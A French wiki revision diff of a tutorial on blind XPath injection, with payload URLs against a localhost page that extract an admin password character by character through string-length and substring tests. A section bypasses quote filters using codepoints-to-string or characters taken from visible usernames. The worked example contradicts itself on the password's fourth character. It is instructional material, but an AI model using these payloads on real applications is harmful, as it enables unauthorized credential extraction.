Ci-dessous, les différences entre deux révisions de la page.
Prochaine révision | Révision précédente | ||
web:injection_blind_xpath [2016/02/04 17:04] arkinar créée |
web:injection_blind_xpath [2016/08/09 08:26] (Version actuelle) yorin |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
**Blind XPATH** | **Blind XPATH** | ||
- | Prenons par exemple une liste d'utilisateur sur notre site | + | Prenons par exemple une liste d'utilisateurs sur notre site |
<code> | <code> | ||
- | Liste d'utilisateur | + | Liste d'utilisateurs |
1. Admin | 1. Admin | ||
Ligne 10: | Ligne 10: | ||
4. Sophie | 4. Sophie | ||
</code> | </code> | ||
- | Lorsque nous accèdons au détail du première utilisateur notre url nous donne : | + | Lorsque nous accédons aux détails du premier utilisateur notre url nous donne : |
http://localhost/index.php?userid=1 | http://localhost/index.php?userid=1 | ||
Ligne 16: | Ligne 16: | ||
**Exploitation : ** | **Exploitation : ** | ||
- | __Detection__ | + | __Détection__ |
Pour la détection se reporter à l'article sur les injections XPATH. | Pour la détection se reporter à l'article sur les injections XPATH. | ||
Ligne 27: | Ligne 27: | ||
On va utiliser la fonction string-length en XML. | On va utiliser la fonction string-length en XML. | ||
- | Pour ce faire on va concaténer notre requête à la précédente avec l'opérateur "and" | + | Pour se faire, nous allons concaténer notre requête à la précédente avec l'opérateur "and". |
<code>http://localhost/index.php?userid=1 and string-length(//user[1]/password)=1 </code> | <code>http://localhost/index.php?userid=1 and string-length(//user[1]/password)=1 </code> | ||
- | Si la requete nous renvoi une erreur le mot de passe de l'admin ne fais pas 1 caractère | + | Si la requête nous renvoie une erreur le mot de passe de l'admin ne fait pas 1 caractère. |
- | On va incrementer jusqu'à trouver la bonne valeur. | + | On va incrémenter jusqu'à trouver la bonne valeur. |
<code> | <code> | ||
Ligne 42: | Ligne 42: | ||
Affichage normal de la page pour password = 4. | Affichage normal de la page pour password = 4. | ||
- | Notre mot de passe fait donc 4 caractères | + | Notre mot de passe fait donc 4 caractères. |
__Trouver le mot de passe__ | __Trouver le mot de passe__ | ||
Ligne 52: | Ligne 52: | ||
</code> | </code> | ||
- | Renvoie la chaîne de longueur n à partir du xième caractère. | + | Elle renvoie la chaîne de longueur n à partir du Xième caractère. |
- | Dans notre cas trouvons la première lettre du mot de passe : | + | Dans notre cas, nous trouvons la première lettre du mot de passe : |
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='a' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='a' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='b' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='b' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='c' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='c' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='d' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='d' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='e' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='e' |
... | ... | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='p' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='p' |
</code> | </code> | ||
Tant que nous obtenons une erreur xml sur la page c'est que ce n'est pas la bonne lettre. | Tant que nous obtenons une erreur xml sur la page c'est que ce n'est pas la bonne lettre. | ||
- | Dans notre cas la lettre p ne nous renvoi pas d'erreur. | + | Dans notre cas la lettre p ne nous renvoie pas d'erreurs. |
Notre mot de passe commence donc par p. | Notre mot de passe commence donc par p. | ||
Ligne 73: | Ligne 73: | ||
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='a' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='a' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='b' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='b' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='c' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='c' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='d' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='d' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='e' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='e' |
... | ... | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)='A' <=OK | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)='A' <=OK |
</code> | </code> | ||
Ligne 85: | Ligne 85: | ||
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='a' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='a' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='b' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='b' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='c' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='c' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='d' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='d' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='e' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='e' |
... | ... | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)='S' <=OK | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)='S' <=OK |
</code> | </code> | ||
Ligne 97: | Ligne 97: | ||
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='a' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='a' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='b' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='b' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='c' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='c' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='d' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='d' |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='e' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='e' |
... | ... | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)='p' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)='p' |
</code> | </code> | ||
Ligne 111: | Ligne 111: | ||
**BYPASS FILTRE** | **BYPASS FILTRE** | ||
- | Pour bypasser les filtres la technique sera différente en XPATH 2.0 et en XPATH 1.0 | + | Pour bypasser les filtres, la technique sera différente en XPATH 2.0 et en XPATH 1.0 |
__En XPATH 2.0 __ | __En XPATH 2.0 __ | ||
- | Une fonction codepoints-to-string en xml nous permet de convertir un chiffre ascii en lettre | + | Une fonction codepoints-to-string en xml nous permet de convertir un chiffre ascii en lettre: |
codepoints-to-string(84) renverra 'T' | codepoints-to-string(84) renverra 'T' | ||
Ligne 122: | Ligne 122: | ||
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)=codepoints-to-string(112) | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)=codepoints-to-string(112) |
</code> | </code> | ||
Ligne 128: | Ligne 128: | ||
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)='p' | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)='p' |
</code> | </code> | ||
Ligne 137: | Ligne 137: | ||
La fonction codepoints-to-string n'existe pas donc nous allons réutiliser la fonction substring. | La fonction codepoints-to-string n'existe pas donc nous allons réutiliser la fonction substring. | ||
- | Nous allons prendres les informations disponibles sur la page (le nom des comptes utilisateurs) | + | Nous allons prendre les informations disponibles sur la page (le nom des comptes utilisateurs) |
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)=substring(user[1]/username,1,1) | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)=substring(//user[1]/username,1,1) |
</code> | </code> | ||
- | cette requete équivaut à : userid=1 and le premiere caractère du pass de l'admin = la première lettre du nom d'utilisateur de l'admin | + | Cette requête équivaut à : userid=1 and le premier caractère du pass de l'admin = la première lettre du nom d'utilisateur de l'admin. |
Notre mot de passe administrateur vaudra donc : | Notre mot de passe administrateur vaudra donc : | ||
<code> | <code> | ||
- | http://localhost/index.php?userid=1 and substring(user[1]/password,1,1)=substring(user[4]/username,3,1) <= p | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,1,1)=substring(//user[4]/username,3,1) <= p |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,2,1)=substring(user[1]/username,1,1) <= A | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,2,1)=substring(//user[1]/username,1,1) <= A |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,3,1)=substring(user[4]/username,1,1) <= S | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,3,1)=substring(//user[4]/username,1,1) <= S |
- | http://localhost/index.php?userid=1 and substring(user[1]/password,4,1)=substring(user[4]/username,1,1) <= S | + | http://localhost/index.php?userid=1 and substring(//user[1]/password,4,1)=substring(//user[4]/username,1,1) <= S |
</code> | </code> | ||